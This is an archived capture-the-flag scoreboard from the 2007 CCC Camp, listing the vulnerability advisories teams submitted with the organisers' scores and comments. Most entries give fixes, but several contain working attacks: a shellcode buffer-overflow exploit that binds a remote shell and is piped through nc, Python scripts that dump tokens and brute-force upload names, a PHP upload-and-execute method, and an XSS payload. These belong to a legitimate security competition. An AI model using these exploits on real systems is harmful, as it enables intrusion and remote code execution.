HC's Capture the Flag site
Camp 07 CTF

Camp 07 CTF


flags -- advisories -- status


Reporting timeTeamDescriptionState
1186876864luckylukeThe SMTP client doesn't correctly implement SMTP - it doesn't wait for the server to reply to its requestspending
1186876511InnovaDorfLightTPD 1.4.12 has a vulnerability posted on several pages. As the net is down, I can't look them up right now... rejected[0] that is not one of our services and is fixed in updates of FreeBSD
1186875752DrunkenSheeps#!/bin/sh # # retserv exploit, binshell at 17664 #

IP=$1 ADDRESS=$2 echo "trying $IP w/ address $ADDRESS" ( printf "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08\x9a\x89\x47\ \x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50\x53\x6a\x01\ \x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50\x6a\x10\xb3\x02\ \x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\ \xb0\x6a\x50\x6a\x02\xff\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\ \x77\x24\xff\xd1\x89\xc3\xb0\x5a\x50\x52\x53\xff\xd1\xb0\ \x5a\x50\x42\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\ \x88\x5f\x07\x53\x89\x7f\x10\x8d\x5f\x10\x53\ \x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh\x90" ; \ perl -e 'print "A" x 901' ; printf "${ADDRESS}" ) | nc $IP 1111

# eof.

note: you must find out the base address of buf
accepted[2] remote root is always nice
1186874677InnovaDorfkannx : using a negative or to high index causes a ArrayOutOfBoundsException in TransferCommand line 68 (in Account Dialog) accepted[2] ack
1186872805InnovaDorfTool to determine the web server's time using a HEAD request to have a high chance to guess the timestamp in an uploaded file's name.

--- 8< ---------------

#!/usr/bin/env python # -*- coding: utf-8 -*-

"""Ask a Webserver for his current time."""

from __future__ import with_statement from contextlib import closing from datetime import datetime from optparse import OptionParser import socket

if __name__ == '__main__': parser = OptionParser(usage='%prog <host> [port]') args = parser.parse_args()[1] try: host = args.pop() except IndexError: parser.print_help() parser.exit() try: port = int(args.pop()) except (IndexError, ValueError): port = 80

# Read HTTP HEAD response. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) with closing(s) as s: s.connect((host, port)) s.send('HEAD / HTTP/1.0\r\n\r\n') data = s.recv(1024)

# Skip the first line with the HTTP method. lines = (line for line in data.split('\r\n')[1:] if line)

# Create a mapping of the headers. headers = dict(line.split(': ') for line in lines)

# Parse date/time. dt_str = headers['Date'] dt_obj = datetime.strptime( dt_str.rsplit(' ', 1)[0], '%a, %d %b %Y %H:%M:%S') print dt_str print dt_obj print dt_obj.strftime('%s')

accepted[1] It's a vulnerability, but the timestamp doesn't get you anywhere
1186872685InnovaDorfscorebot doesn't like mixed bash/awk scripts...

rejected[0] please provide an example by uploading it to your own webserver and giving us an URL to it
1186872016InnovaDorfExploit for the guessable timestamp vulnerability in the PHP upload.

--- 8< ---------------

#!/usr/bin/env python

"""Try to access an uploaded file by brute-forcing the timestamp contained in its name."""

from optparse import OptionParser from urllib2 import urlopen, HTTPError

if __name__ == '__main__': parser = OptionParser(usage='%prog <url> <start> <stop>') try: url, start, stop = parser.parse_args()[1] start = int(start) stop = int(stop) except ValueError: parser.print_help() parser.exit()

for i in range(start, stop): try: xurl = url % i print urlopen(xurl).read() except HTTPError, e: #print e pass

accepted[0] guessing the timestamp is not enough
1186871855InnovaDorfFix for the `ID=.*` hole in `recv.cgi`.

--- 8< ---------------

echo "$1" | grep '^[[:xdigit:]]*$' && \

accepted[1] thx
1186871570InnovaDorfExploit for the `ID=.*` hole in `recv.cgi`.

--- 8< ---------------

#!/usr/bin/env python

"""Fetch the last well-formed token in a website."""

from optparse import OptionParser from sys import exit from urllib2 import urlopen, URLError

if __name__ == '__main__': parser = OptionParser(usage='%prog <host>') args = parser.parse_args()[1] if len(args) != 1: parser.print_help() parser.exit()

# Read data via HTTP. url = 'http://%s:31337/recv.cgi?ID=.*' % args[0] try: data = urlopen(url).read() except URLError, e: exit(str(e))

# Extract last token. last_token = None for line in data.split('\n'): if not line.startswith('daten: '): continue token = line[7:] if len(token) != 64: continue last_token = token if last_token is None: exit(1) print last_token

accepted[1] thx
1186871463LegionOfTheStaticDiscordBy passing ".*" as the ID to pocerws' recv.cgi it is possible to retrieve all Texts. accepted[2] please provide a exploit or a fix too
1186871168luckylukeThe retserver program is missing a directory traversal check in getmsg(). You can supply a msgid containing "../", thus reading files from the filesystem.


at the beginning of getmsg() add:

+ if (strchr(msgid, '/')) + return; snprintf(filename, 1024, "%s/%s", MAILDIR, msgid);
accepted[2] reading arbitray files could be exploitable *hint* *hint*
1186869787InnovaDorfkannx: SetecFinanceBroker line 159 It is possible to pass negative Amount to increase the balance (what is not very sensable for outgoing transfers accepted[2] very nice
1186869207luckylukeThe adlsmtp python script "deliver.py" allows to exit the mailbox dir and to overwrite arbitrary files when using "../" in the receiver mail address.

The bug can be fixed by adding 'if rcpt.find("/"): return' before this line: mail = open("%s/%s" % (mailpath, rcpt), 'a')
accepted[2] good catch

retserver main.c line 62-77 reported by ctf07_gopher

bufferoverlow exploit possible, you can easily bind a shell on the remoteserver.

exploit coming as soon our shellcode is working

accepted[2] rite, awaiting your exploit

if supplying a advisory and entering a longtext without returns (a very long string as report) it prints error 127 and submits a empty advisory

accepted[0] Yeah, but this doesn't affect others, but only yourself
1186867811DrunkenSheepstarot2.erl allows to store files whereever you want after a connection and the command "help me" you can just enter /tmp/foo and press return, it will store a file in /tmp/foo because it sets Key=Data where Data is the userinput. To store the file file_write(Key,Data) is used. So you get a file with the same content

accepted[2] yup -- I see you speak erlang
1186867198InnovaDorfMail Service retserver/main.c: missing free(tmpfn); after strdup(). even better: use const char* directly: int tmpfile = mkstemp("/var/tmp/retserver.XX"); accepted[0] not security relevant
1186865681InnovaDorfthe unused goph service has an mem-leak when using the LS token. attached patch should fix (at least) this: diff -uNr goph.bak/goph.y goph/goph.y --- goph.bak/goph.y Sat Aug 11 20:42:07 2007 +++ goph/goph.y Sat Aug 11 21:44:49 2007 @@ -25,7 +25,7 @@

start: RUN PARAM { runbin($1, $2); free($1); free($2); } | TEXT PARAM { printf("lklkl"); runnone($1); free($1); free($2); } - | LS { system("ls"); } + | LS { system("ls"); free($1); } ;

accepted[2] nice find
1186865343InnovaDorfPocerWS: Directory Traversion possible. In line 39, there still exists a bug in the regexp. Although absolute paths are now not possible anymore (see 1186854356) if properly fixed, directory traversal is still possible trough using syntax like "/../../". As the location of the se rvice is known, it is very easy using "/../../" to get to / in the FS. So everyt hing is still runnable accepted[2] accepted
1186861151luckylukeThe password for the UNDB service is transfered in clear text over TCP. In addition, it is used as a GET parameter which is visible to the user and shoulder surfers through the browser URL line.

Fix: change all forms from GET to POST.
rejected[0] POST still transmits in plaintext. Unencrypted passworts is more of a transport layer issue
1186861129luckylukeThe files/ directory and authfile for the UNDB service are located in the www-root, which is not required for the service to work. Both entries should be moved outside of the www-root and the references in the php scripts should be changed.

This example moves them one directory up:

login_inc.php: s/"authfile"/"..\/authfile"/ list.php: s/"files"/"..\/files"/ upload.php: s/www\/files/files/
accepted[2] Placing that outside of the www-root is a good idea. Nice advicory including the suggestion of a fix
1186861128Becksgoldis is possible to fill the harddisk of the server with rubbish until they are full. because the MAXSIZE of the uploaded file is stored in a hidden fieform. this can be overriden with firebug (e.g.) the MAXSIZE is not checked in recv.php several files are requierd to fill the HDDs. possible solution: static checking in recv.php AND limit the number of files uploaded per IP etc. accepted[1] MAXSIZE is also filled by the PHP module. DOS is possible so but not very interessting.
1186861091luckylukeThe UNDB application contains an authentication vulnerability: the user ID is read from a GET parameter instead of using the authentication database. This allows a legal user to imersonate another one by changing the id= value in the URL, thus getting access to the other users flag.

Fix: use check($country, $password) return value for $id in list.php, recv.php and upload.php (line 17 or 18)
accepted[4] Good catch. Nice advisory. Right fix.
1186861030luckylukeThe kannx service allows a password change through an insecure clear text connection. This should be changed to an SSL encrypted service or replaced by transferring only the hashed password / a challenge response mechanism. accepted[0] transport layer problem. feel free to replace for hackpoints. see
1186854356InnovaDorfpocerws2.rb is exploitable because it allows execution of any script passed as URL path (using a double slash after the host:port). it just strips the "GET /" prefix but does not enforce any checks on which file with which extension/type or whatever should be executed.

although this is limited to scripts (no binaries), a malicious script introduced by an attacker (maybe using php upload) can then be executed.

one can limit access to certain file types, but usually passing unfiltered arguments to a `system()` call and especially providing a service to offer an even unsecured remote shell is a very bad and stupid idea.
accepted[2] indeed
1186854197InnovaDorfmodul undb beim anlegen von useraccounts koennen bestehende useraccounts uebershrieben werden accepted[2] good
1186852179lamervillesendmail is expected to be running, not starting up upon boot, fix rc.conf rejected[0] You may fix it for us ;-)
1186852060DrunkenSheepsundb service (webserver, php application)

With http://x.x.x.x/upload.php u can upload any file. So u may upload php files and execute them on the server.

Files will be created like this: $userId _ $timestampOfUpload _ $filename

A quick fix would be to drop the extension of the file.

On line 35 of recv php add something like

$partBeforePoint = explode('.',basename($_FILES['userfile']['name'])); $newName = $partBeforePoint[0];


upload a file with the contents and the name foo.php:


phpinfo ();


u will get a file wich is named like: 1_timestamp_foo.php in the files subdirectory...

if u execute it u will have the php information or anything else u want to put in the script.

accepted[3] good, but please mind your language
1186851457InnovaDorfclear text HTTP GET is not way better using SSL - since they are clear readable in the adress location bar. rejected[0] That's not a vulnerability in the service
1186851348LegionOfTheStaticDiscordrecv.php allows authenticated attackers to upload files which can be executed from remote. the script keeps the suffix of the uploaded file and moves it with some guessable prefix to the files directory. (recv.php 35-37) accepted[3] omg, that gets you a lot of points ;-)
1186850034LegionOfTheStaticDiscordThe password for United Nations access is transported in clear text via HTTP GET parameters. accepted[1] you're right, using SSL is better
1186849634LegionOfTheStaticDiscordthe syslog service is listening on udp port 514 for the outside by default. this can lead to all kinds of problems, disk space DoS, log file entry spoofing, etc. etc. accepted[2] ok
1186849526LegionOfTheStaticDiscordThe United Nations password for user "test" is "foobar". rejected[0] use it to exploit, but advisories must be about implementation flaws
1186849469LegionOfTheStaticDiscordsendmail is running by default and listening on port 25. everybody knows sendmail is vulnerable, right? rejected[0] I didn't know :)
1186849365LegionOfTheStaticDiscordThe authfile for the web app is publicly accessible. accepted[2] ok -- but they are hashed
1186848715LegionOfTheStaticDiscordThe installed BIND version is prone to multiple DoS vulns. See http://security.freebsd.org/advisories/FreeBSD-SA-07:02.bind.asc rejected[0] bind is not running
1186848692luckyluke<script type='text/javascript'>alert('owned by team 6');</script>rejected[0] wtf
1186848462luckylukeit's running sendmail 1.8.3rejected[0] wtf
1186848421LegionOfTheStaticDiscordFreeBSD 6.2-RELEASE's tcpdump is prone to a buffer overflow in the BGP parsing code See http://security.freebsd.org/advisories/FreeBSD-SA-07:06.tcpdump.asc rejected[0] tcpdump is not a service
1186848418luckylukeit's running freebsd 6.2 beta3accepted[1] right
1186848365DrunkenSheepsfreebsd :P

accepted[2] right
1186848335InnovaDorfFreeBSDrejected[0] sorry, you weren't the fastest
1186838089NotSoGoodButWantToLearnproxyarp is enabled on the switches :) *.*.*.* lladdr 00:01:43:e4:b4:0a REACHABLE accepted[1] ok

Reporting flags and advisories

To report flags and/or report advisories, telnet to , port 8080. Follow the instructions given there!

Last updated August 16 2007 15:54:57

Scoring system for the CC CAMP 07 CTF (C) 2007, Christian Esperer. hc at hcespererdotorg